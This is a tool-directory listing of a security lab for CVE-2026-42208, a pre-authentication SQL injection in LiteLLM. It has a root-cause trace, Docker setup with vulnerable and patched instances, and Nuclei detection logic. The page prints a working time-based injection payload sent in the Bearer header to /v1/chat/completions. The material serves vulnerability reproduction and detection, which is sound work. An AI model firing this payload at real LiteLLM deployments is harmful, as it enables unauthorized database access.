Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/haerin-l/poc_cve-2026-42208
تحليل الثغرات الأمنيةاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubhaerin-l/poc_cve-2026-42208

poc_cve-2026-42208

مختبر إعادة إنتاج لـ CVE-2026-42208، وهي ثغرة SQL injection حرجة قبل المصادقة في LiteLLM. يتضمن بيئات ضعيفة/مصححة قائمة على Docker، واستغلال PoC قائم على التوقيت، وقالب كشف Nuclei لاختبار الأمان.

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42208 — حقن SQL قبل المصادقة في LiteLLM

بيئة مختبرية لإعادة إنتاج وكشف CVE-2026-42208، وهي ثغرة حرجة لحقن SQL قبل المصادقة في LiteLLM حيث تصل رموز Bearer غير المنقحة إلى استعلام PostgreSQL خام.


نظرة عامة على الثغرة

الحقلالتفاصيل
معرف CVECVE-2026-42208
GHSAGHSA-r75f-5x8p-qvmc
CVSS9.3 (حرجة) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
الإصدارات المتأثرة>= 1.81.16, < 1.83.7
المصححv1.83.7 (استعلام معلمي)
CWECWE-89 (حقن SQL)

السبب الجذري

root@kitploit:~
Vulnerable (v1.83.6):
  POST /v1/chat/completions
  Authorization: Bearer <payload>   ← payload does NOT start with "sk-"
    → api_key.startswith("sk-") assertion fails  (utils.py:1189)
    → caught by except Exception                  (utils.py:1560)
    → _handle_authentication_error(api_key=RAW_PAYLOAD)
    → _enrich_failure_metadata_with_key_info()
    → get_data(token=RAW_PAYLOAD, table_name="combined_view")
    → SQL: WHERE v.token = '{payload}'  ← injection

Patched (v1.83.7):
  Same request path, but:
    → get_data(token=hashed_token, ...)
    → SQL: WHERE v.token = $1          ← parameterized, no injection

متطلبات الهجوم


بنية المختبر

root@kitploit:~
Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln    (v1.83.6-nightly  ⚠ VULNERABLE)
│                      Docker: litellm-db-vuln  (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable   ✓ PATCHED)
                       Docker: litellm-db-patched (PostgreSQL 15)

المتطلبات الأساسية

الأداةالتثبيت
Docker Desktopdocker.com
nucleibrew install nuclei
curl, python3مثبت مسبقاً على macOS

كيفية التشغيل

الخطوة 1 — إعداد بيئة المختبر

root@kitploit:~
bash scripts/01-setup.sh

عند الانتهاء:

root@kitploit:~
══════════════════════════════════════════════════════
 Lab ready!
 Vulnerable (v1.83.6-nightly) : http://localhost:8010
 Patched    (v1.83.7-stable)  : http://localhost:8011
 Master Key : sk-lab-master-key
 Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════

الخطوة 2 — تشغيل CVE

root@kitploit:~
bash scripts/02-exploit.sh

المخرجات المتوقعة — الإصدار القابل للثغرة (v1.83.6-nightly):

root@kitploit:~
── Vulnerable (v1.83.6-nightly, port 8010) ──
  Baseline    : 0.031s
  Injection   : 6.062s  (HTTP 401)
  Delta       : +6.031s
  ⚠  RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)

المخرجات المتوقعة — الإصدار المصحح (v1.83.7-stable):

root@kitploit:~
── Patched    (v1.83.7-stable,  port 8011) ──
  Baseline    : 0.028s
  Injection   : 0.029s  (HTTP 401)
  Delta       : +0.001s
  ✓  RESULT: No significant delay — injection not executed (PATCHED)

الخطوة 3 — كشف Nuclei

root@kitploit:~
# Vulnerable instance → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010

# Patched instance → should produce no findings
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011

قابل للثغرة (v1.83.6-nightly):

Nuclei detection — vulnerable

مصحح (v1.83.7-stable):

Nuclei detection — patched

الخطوة 4 — الإزالة

root@kitploit:~
bash scripts/99-teardown.sh

هيكل الدليل

root@kitploit:~
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md       # Code-level analysis (English)
├── LAB_SETUP_GUIDE.md              # Lab setup guide (English)
├── NUCLEI_TEMPLATE_GUIDE.md        # Nuclei template design (English)
├── docker-compose.yaml
│
├── REPORT/                         # Korean reports
│   ├── Vulnerability_Analysis_KR.md
│   ├── LAB_REPORT_KR.md
│   └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│   └── CVE-2026-42208.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup.sh                 # Start containers, create seed key
    ├── 02-exploit.sh               # PoC: timing-based injection proof
    └── 99-teardown.sh              # Stop and remove all lab resources

منطق كشف قالب Nuclei

root@kitploit:~
Step 1  GET /health/liveliness
        → match "I am alive" in body
        → confirms target is a LiteLLM instance

Step 2  POST /v1/chat/completions
        Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --

        Matchers (AND — all must pass):
          status == 401           eliminates 504/502 false positives
          body contains           "auth_error" OR "Authentication Error"
                                  confirms LiteLLM auth path, not a proxy
          duration >= 5           pg_sleep(6) fired → injection confirmed

منع النتائج الإيجابية الخاطئة:

  • status == 401 يزيل الاستجابات من مهلات المنبع (504) وأخطاء البوابة (502)
  • تطابق الكلمة الأساسية في النص يؤكد أن 401 جاء من معالجة المصادقة في LiteLLM، وليس من جدار حماية تطبيقات الويب (WAF) أو وكيل
  • duration >= 5 عالية بما يكفي لاستبعاد ضوضاء الشبكة (الخط الأساسي ≤0.5 ثانية)

المراجع

  • GHSA-r75f-5x8p-qvmc
  • NVD — CVE-2026-42208
  • Sysdig Analysis

تحذير: جميع بيانات الاعتماد في هذا المختبر هي بيانات اختبار وهمية لأغراض البحث الأمني فقط. لا تستخدمها مطلقًا في الإنتاج. احصل دائمًا على إذن صريح قبل مسح الأنظمة التي لا تملكها.

تنزيل الأداة
#الشرطالتفاصيل
1إصدار LiteLLM المتأثر>= 1.81.16, < 1.83.7
2قاعدة بيانات خلفية PostgreSQLنشرات SQLite غير متأثرة
3لا حاجة للمصادقةقبل المصادقة؛ لا حاجة لأي بيانات اعتماد
4على الأقل صف واحد في VerificationTokenpg_sleep يتم تشغيله فقط لكل صف؛ الجدول الفارغ = لا تأخير